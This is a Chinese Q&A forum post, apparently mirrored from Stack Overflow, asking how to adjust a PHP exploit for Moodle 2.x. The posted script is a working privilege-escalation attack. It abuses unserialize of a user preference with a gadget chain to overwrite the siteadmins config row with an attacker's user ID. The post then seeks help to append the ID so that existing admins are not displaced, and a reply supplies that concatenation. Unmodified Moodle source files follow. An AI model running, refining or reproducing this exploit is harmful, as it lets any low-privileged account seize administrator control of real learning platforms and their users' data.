php如何将整数添加到列中值的末尾

o75abkj4  于 2021-10-10  发布在  Java
关注(0)|答案(1)|浏览(2118)

我正在测试moodle系统2.x版。
要运行以下脚本,您需要在系统中拥有一个帐户(任何角色)。然后替换会话密钥、userid(都来自登录后的源代码)和moodlesession(来自cookie)。替换它们后,运行脚本并重新记录。
在这个漏洞中,有人可以用sql注入数据库
是否可以在表中的列中追加值的末尾,而不是替换整个值?
列中的值的格式为:1、2、3,这是用户标识。如何通过该脚本添加“,”和新值(整数)
我试过了 $value= $value .', 5' ; 正如gabri所建议的,但它仍然用一个空白和 , 5 下面的scrpipt基本上将用户ID设置为管理员,但会替换任何其他管理员。
是否可以不替换任何其他管理员,而将该用户ID也设置为管理员?

  1. <?php
  2. //defining the required classes for our exploit
  3. namespace gradereport_singleview\local\ui {
  4. class feedback{
  5. }
  6. }
  7. namespace {
  8. class gradereport_overview_external{
  9. }
  10. class grade_item{
  11. }
  12. class grade_grade{
  13. }
  14. // creating a simple httpPost method which requires php-curl
  15. function httpPost($url, $data, $MoodleSession, $json)
  16. {
  17. $curl = curl_init($url);
  18. $headers = array('Cookie: MoodleSession='.$MoodleSession);
  19. if($json){
  20. array_push($headers, 'Content-Type: application/json');
  21. }else{
  22. $data = urldecode(http_build_query($data));
  23. }
  24. curl_setopt($curl, CURLOPT_POST, true);
  25. curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
  26. curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
  27. curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  28. // curl_setopt($curl, CURLOPT_PROXY, '127.0.0.1:8080'); //un-comment if you wish to use a proxy
  29. $response = curl_exec($curl);
  30. curl_close($curl);
  31. return $response;
  32. }
  33. // creating a simple httpGet method which requires php-curl
  34. function httpGet($url, $MoodleSession)
  35. {
  36. $curl = curl_init($url);
  37. $headers = array('Cookie: MoodleSession='.$MoodleSession);
  38. curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
  39. curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  40. // curl_setopt($curl, CURLOPT_PROXY, '127.0.0.1:8080'); //un-comment if you wish to use a proxy
  41. $response = curl_exec($curl);
  42. curl_close($curl);
  43. return $response;
  44. }
  45. function update_table($url, $MoodleSession, $sesskey, $table, $rowId, $column, $value){
  46. //first we create a gradereport_overview_external object because it is supported by the Moodle autoloader and it includes the grade_grade and grade_item classes that we are going to need
  47. $base = new gradereport_overview_external();
  48. // now we create the feedback object which inherits the vulnerable __tostring() method from its parent
  49. $fb = new gradereport_singleview\local\ui\feedback();
  50. //filling the feedback object with the required properties for the exploit to work
  51. $fb -> grade = new grade_grade();
  52. $fb -> grade -> grade_item = new grade_item();
  53. $fb -> grade -> grade_item -> calculation = "[[somestring";
  54. $fb -> grade -> grade_item -> calculation_normalized = false;
  55. //setting the table which we want to alter
  56. $fb -> grade -> grade_item -> table = $table;
  57. //setting the row id of the row that we want to alter
  58. $fb -> grade -> grade_item -> id = $rowId;
  59. //setting the column with the value that we want to insert
  60. $fb -> grade -> grade_item -> $column = $value;
  61. $fb -> grade -> grade_item -> required_fields = array($column,'id');
  62. //creating the array with our base object (which itself is included in an array because the base object has no __tostring() method) and our payload object
  63. $arr = array(array($base),$fb);
  64. //serializing the array
  65. $value = serialize($arr);
  66. //we'll set the course_blocks sortorder to 0 so we default to legacy user preference
  67. $data = array('sesskey' => $sesskey, 'sortorder[]' => 0);
  68. httpPost($url. '/blocks/course_overview/save.php',$data, $MoodleSession,0);
  69. //injecting the payload
  70. $data = json_encode(array(array('index'=> 0, 'methodname'=>'core_user_update_user_preferences','args'=>array('preferences'=>array(array('type'=> 'course_overview_course_order', 'value' => $value))))));
  71. httpPost($url.'/lib/ajax/service.php?sesskey='.$sesskey, $data, $MoodleSession,1);
  72. //getting the frontpage so the payload will activate
  73. httpGet($url.'/my/', $MoodleSession);
  74. }
  75. $url = ''; //url of the Moodle site
  76. $MoodleSession = ''; //your MoodleSession cookie value
  77. $sesskey = ''; //your sesskey
  78. $table = "config"; //table to update
  79. $rowId = 25; // row id to insert into. 25 is the row that sets the 'siteadmins' parameter. could vary from installation to installation
  80. $column = 'value'; //column name to update, which holds the userid
  81. $value = 3; // userid to set as 'siteadmins'
  82. update_table($url, $MoodleSession,$sesskey,$table,$rowId,$column, $value);
  83. //reset the allversionshash config entry with a sha1 hash so the site reloads its configuration
  84. $rowId = 375; // row id of 'allversionshash' parameter
  85. update_table($url, $MoodleSession,$sesskey,$table,$rowId, $column, sha1(time()));
  86. //reset the sortorder so we can see the front page again without the payload triggering
  87. $data = array('sesskey' => $sesskey, 'sortorder[]' => 1);
  88. httpPost($url. '/blocks/course_overview/save.php',$data, $MoodleSession,0);
  89. //force plugincheck so we can access admin panel
  90. httpGet($url.'/admin/index.php?cache=0&confirmplugincheck=1',$MoodleSession);
  91. }
  92. ?>

以下文件是moodle资源(无法更改)
save.php

  1. <?php
  2. // This file is part of Moodle - http://moodle.org/
  3. //
  4. // Moodle is free software: you can redistribute it and/or modify
  5. // it under the terms of the GNU General Public License as published by
  6. // the Free Software Foundation, either version 3 of the License, or
  7. // (at your option) any later version.
  8. //
  9. // Moodle is distributed in the hope that it will be useful,
  10. // but WITHOUT ANY WARRANTY; without even the implied warranty of
  11. // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  12. // GNU General Public License for more details.
  13. //
  14. // You should have received a copy of the GNU General Public License
  15. // along with Moodle. If not, see <http://www.gnu.org/licenses/>.
  16. /**
  17. * Save course order in course_overview block
  18. *
  19. * @package block_course_overview
  20. * @copyright 2012 Adam Olley <adam.olley@netspot.com.au>
  21. * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
  22. */
  23. define('AJAX_SCRIPT', true);
  24. require_once(__DIR__ . '/../../config.php');
  25. require_once(__DIR__ . '/locallib.php');
  26. require_sesskey();
  27. require_login();
  28. $sortorder = required_param_array('sortorder', PARAM_INT);
  29. block_course_overview_update_myorder($sortorder);

locallib.php

  1. <?php
  2. // This file is part of Moodle - http://moodle.org/
  3. //
  4. // Moodle is free software: you can redistribute it and/or modify
  5. // it under the terms of the GNU General Public License as published by
  6. // the Free Software Foundation, either version 3 of the License, or
  7. // (at your option) any later version.
  8. //
  9. // Moodle is distributed in the hope that it will be useful,
  10. // but WITHOUT ANY WARRANTY; without even the implied warranty of
  11. // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  12. // GNU General Public License for more details.
  13. //
  14. // You should have received a copy of the GNU General Public License
  15. // along with Moodle. If not, see <http://www.gnu.org/licenses/>.
  16. /**
  17. * Helper functions for course_overview block
  18. *
  19. * @package block_course_overview
  20. * @copyright 2012 Adam Olley <adam.olley@netspot.com.au>
  21. * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
  22. */
  23. define('BLOCKS_COURSE_OVERVIEW_SHOWCATEGORIES_NONE', '0');
  24. define('BLOCKS_COURSE_OVERVIEW_SHOWCATEGORIES_ONLY_PARENT_NAME', '1');
  25. define('BLOCKS_COURSE_OVERVIEW_SHOWCATEGORIES_FULL_PATH', '2');
  26. /**
  27. * Display overview for courses
  28. *
  29. * @param array $courses courses for which overview needs to be shown
  30. * @return array html overview
  31. */
  32. function block_course_overview_get_overviews($courses) {
  33. $htmlarray = array();
  34. if ($modules = get_plugin_list_with_function('mod', 'print_overview')) {
  35. // Split courses list into batches with no more than MAX_MODINFO_CACHE_SIZE courses in one batch.
  36. // Otherwise we exceed the cache limit in get_fast_modinfo() and rebuild it too often.
  37. if (defined('MAX_MODINFO_CACHE_SIZE') && MAX_MODINFO_CACHE_SIZE > 0 && count($courses) > MAX_MODINFO_CACHE_SIZE) {
  38. $batches = array_chunk($courses, MAX_MODINFO_CACHE_SIZE, true);
  39. } else {
  40. $batches = array($courses);
  41. }
  42. foreach ($batches as $courses) {
  43. foreach ($modules as $fname) {
  44. $fname($courses, $htmlarray);
  45. }
  46. }
  47. }
  48. return $htmlarray;
  49. }
  50. /**
  51. * Sets user preference for maximum courses to be displayed in course_overview block
  52. *
  53. * @param int $number maximum courses which should be visible
  54. */
  55. function block_course_overview_update_mynumber($number) {
  56. set_user_preference('course_overview_number_of_courses', $number);
  57. }
  58. /**
  59. * Sets user course sorting preference in course_overview block
  60. *
  61. * @param array $sortorder list of course ids
  62. */
  63. function block_course_overview_update_myorder($sortorder) {
  64. $value = implode(',', $sortorder);
  65. if (core_text::strlen($value) > 1333) {
  66. // The value won't fit into the user preference. Remove courses in the end of the list (mostly likely user won't even notice).
  67. $value = preg_replace('/,[\d]*$/', '', core_text::substr($value, 0, 1334));
  68. }
  69. set_user_preference('course_overview_course_sortorder', $value);
  70. }
  71. /**
  72. * Gets user course sorting preference in course_overview block
  73. *
  74. * @return array list of course ids
  75. */
  76. function block_course_overview_get_myorder() {
  77. if ($value = get_user_preferences('course_overview_course_sortorder')) {
  78. return explode(',', $value);
  79. }
  80. // If preference was not found, look in the old location and convert if found.
  81. $order = array();
  82. if ($value = get_user_preferences('course_overview_course_order')) {
  83. $order = unserialize($value);
  84. block_course_overview_update_myorder($order);
  85. unset_user_preference('course_overview_course_order');
  86. }
  87. return $order;
  88. }
  89. /**
  90. * Returns shortname of activities in course
  91. *
  92. * @param int $courseid id of course for which activity shortname is needed
  93. * @return string|bool list of child shortname
  94. */
  95. function block_course_overview_get_child_shortnames($courseid) {
  96. global $DB;
  97. $ctxselect = context_helper::get_preload_record_columns_sql('ctx');
  98. $sql = "SELECT c.id, c.shortname, $ctxselect
  99. FROM {enrol} e
  100. JOIN {course} c ON (c.id = e.customint1)
  101. JOIN {context} ctx ON (ctx.instanceid = e.customint1)
  102. WHERE e.courseid = :courseid AND e.enrol = :method AND ctx.contextlevel = :contextlevel ORDER BY e.sortorder";
  103. $params = array('method' => 'meta', 'courseid' => $courseid, 'contextlevel' => CONTEXT_COURSE);
  104. if ($results = $DB->get_records_sql($sql, $params)) {
  105. $shortnames = array();
  106. // Preload the context we will need it to format the category name shortly.
  107. foreach ($results as $res) {
  108. context_helper::preload_from_record($res);
  109. $context = context_course::instance($res->id);
  110. $shortnames[] = format_string($res->shortname, true, $context);
  111. }
  112. $total = count($shortnames);
  113. $suffix = '';
  114. if ($total > 10) {
  115. $shortnames = array_slice($shortnames, 0, 10);
  116. $diff = $total - count($shortnames);
  117. if ($diff > 1) {
  118. $suffix = get_string('shortnamesufixprural', 'block_course_overview', $diff);
  119. } else {
  120. $suffix = get_string('shortnamesufixsingular', 'block_course_overview', $diff);
  121. }
  122. }
  123. $shortnames = get_string('shortnameprefix', 'block_course_overview', implode('; ', $shortnames));
  124. $shortnames .= $suffix;
  125. }
  126. return isset($shortnames) ? $shortnames : false;
  127. }
  128. /**
  129. * Returns maximum number of courses which will be displayed in course_overview block
  130. *
  131. * @param bool $showallcourses if set true all courses will be visible.
  132. * @return int maximum number of courses
  133. */
  134. function block_course_overview_get_max_user_courses($showallcourses = false) {
  135. // Get block configuration
  136. $config = get_config('block_course_overview');
  137. $limit = $config->defaultmaxcourses;
  138. // If max course is not set then try get user preference
  139. if (empty($config->forcedefaultmaxcourses)) {
  140. if ($showallcourses) {
  141. $limit = 0;
  142. } else {
  143. $limit = get_user_preferences('course_overview_number_of_courses', $limit);
  144. }
  145. }
  146. return $limit;
  147. }
  148. /**
  149. * Return sorted list of user courses
  150. *
  151. * @param bool $showallcourses if set true all courses will be visible.
  152. * @return array list of sorted courses and count of courses.
  153. */
  154. function block_course_overview_get_sorted_courses($showallcourses = false) {
  155. global $USER;
  156. $limit = block_course_overview_get_max_user_courses($showallcourses);
  157. $courses = enrol_get_my_courses();
  158. $site = get_site();
  159. if (array_key_exists($site->id,$courses)) {
  160. unset($courses[$site->id]);
  161. }
  162. foreach ($courses as $c) {
  163. if (isset($USER->lastcourseaccess[$c->id])) {
  164. $courses[$c->id]->lastaccess = $USER->lastcourseaccess[$c->id];
  165. } else {
  166. $courses[$c->id]->lastaccess = 0;
  167. }
  168. }
  169. // Get remote courses.
  170. $remotecourses = array();
  171. if (is_enabled_auth('mnet')) {
  172. $remotecourses = get_my_remotecourses();
  173. }
  174. // Remote courses will have -ve remoteid as key, so it can be differentiated from normal courses
  175. foreach ($remotecourses as $id => $val) {
  176. $remoteid = $val->remoteid * -1;
  177. $val->id = $remoteid;
  178. $courses[$remoteid] = $val;
  179. }
  180. $order = block_course_overview_get_myorder();
  181. $sortedcourses = array();
  182. $counter = 0;
  183. // Get courses in sort order into list.
  184. foreach ($order as $key => $cid) {
  185. if (($counter >= $limit) && ($limit != 0)) {
  186. break;
  187. }
  188. // Make sure user is still enroled.
  189. if (isset($courses[$cid])) {
  190. $sortedcourses[$cid] = $courses[$cid];
  191. $counter++;
  192. }
  193. }
  194. // Append unsorted courses if limit allows
  195. foreach ($courses as $c) {
  196. if (($limit != 0) && ($counter >= $limit)) {
  197. break;
  198. }
  199. if (!in_array($c->id, $order)) {
  200. $sortedcourses[$c->id] = $c;
  201. $counter++;
  202. }
  203. }
  204. // From list extract site courses for overview
  205. $sitecourses = array();
  206. foreach ($sortedcourses as $key => $course) {
  207. if ($course->id > 0) {
  208. $sitecourses[$key] = $course;
  209. }
  210. }
  211. return array($sortedcourses, $sitecourses, count($courses));
  212. }

block_course_overview.php

  1. <?php
  2. // This file is part of Moodle - http://moodle.org/
  3. //
  4. // Moodle is free software: you can redistribute it and/or modify
  5. // it under the terms of the GNU General Public License as published by
  6. // the Free Software Foundation, either version 3 of the License, or
  7. // (at your option) any later version.
  8. //
  9. // Moodle is distributed in the hope that it will be useful,
  10. // but WITHOUT ANY WARRANTY; without even the implied warranty of
  11. // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  12. // GNU General Public License for more details.
  13. //
  14. // You should have received a copy of the GNU General Public License
  15. // along with Moodle. If not, see <http://www.gnu.org/licenses/>.
  16. /**
  17. * Course overview block
  18. *
  19. * @package block_course_overview
  20. * @copyright 1999 onwards Martin Dougiamas (http://dougiamas.com)
  21. * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
  22. */
  23. require_once($CFG->dirroot.'/blocks/course_overview/locallib.php');
  24. /**
  25. * Course overview block
  26. *
  27. * @copyright 1999 onwards Martin Dougiamas (http://dougiamas.com)
  28. * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
  29. */
  30. class block_course_overview extends block_base {
  31. /**
  32. * If this is passed as mynumber then showallcourses, irrespective of limit by user.
  33. */
  34. const SHOW_ALL_COURSES = -2;
  35. /**
  36. * Block initialization
  37. */
  38. public function init() {
  39. $this->title = get_string('pluginname', 'block_course_overview');
  40. }
  41. /**
  42. * Return contents of course_overview block
  43. *
  44. * @return stdClass contents of block
  45. */
  46. public function get_content() {
  47. global $USER, $CFG, $DB;
  48. require_once($CFG->dirroot.'/user/profile/lib.php');
  49. if($this->content !== NULL) {
  50. return $this->content;
  51. }
  52. $config = get_config('block_course_overview');
  53. $this->content = new stdClass();
  54. $this->content->text = '';
  55. $this->content->footer = '';
  56. $content = array();
  57. $updatemynumber = optional_param('mynumber', -1, PARAM_INT);
  58. if ($updatemynumber >= 0) {
  59. block_course_overview_update_mynumber($updatemynumber);
  60. }
  61. profile_load_custom_fields($USER);
  62. $showallcourses = ($updatemynumber === self::SHOW_ALL_COURSES);
  63. list($sortedcourses, $sitecourses, $totalcourses) = block_course_overview_get_sorted_courses($showallcourses);
  64. $overviews = block_course_overview_get_overviews($sitecourses);
  65. $renderer = $this->page->get_renderer('block_course_overview');
  66. if (!empty($config->showwelcomearea)) {
  67. require_once($CFG->dirroot.'/message/lib.php');
  68. $msgcount = message_count_unread_messages();
  69. $this->content->text = $renderer->welcome_area($msgcount);
  70. }
  71. // Number of sites to display.
  72. if ($this->page->user_is_editing() && empty($config->forcedefaultmaxcourses)) {
  73. $this->content->text .= $renderer->editing_bar_head($totalcourses);
  74. }
  75. if (empty($sortedcourses)) {
  76. $this->content->text .= get_string('nocourses','my');
  77. } else {
  78. // For each course, build category cache.
  79. $this->content->text .= $renderer->course_overview($sortedcourses, $overviews);
  80. $this->content->text .= $renderer->hidden_courses($totalcourses - count($sortedcourses));
  81. }
  82. return $this->content;
  83. }
  84. /**
  85. * Allow the block to have a configuration page
  86. *
  87. * @return boolean
  88. */
  89. public function has_config() {
  90. return true;
  91. }
  92. /**
  93. * Locations where block can be displayed
  94. *
  95. * @return array
  96. */
  97. public function applicable_formats() {
  98. return array('my' => true);
  99. }
  100. /**
  101. * Sets block header to be hidden or visible
  102. *
  103. * @return bool if true then header will be visible.
  104. */
  105. public function hide_header() {
  106. // Hide header if welcome area is show.
  107. $config = get_config('block_course_overview');
  108. return !empty($config->showwelcomearea);
  109. }
  110. }
5tmbdcev

5tmbdcev1#

在php中不能使用“+”来连接,需要使用点。
例如:

  1. echo "Hello" + "World"; //Won't work
  2. echo "Hello" . "World"; //Correct approach

也许这是可行的,但很难说没有看到完整的问题。

  1. $value= $value .', 5';

相关问题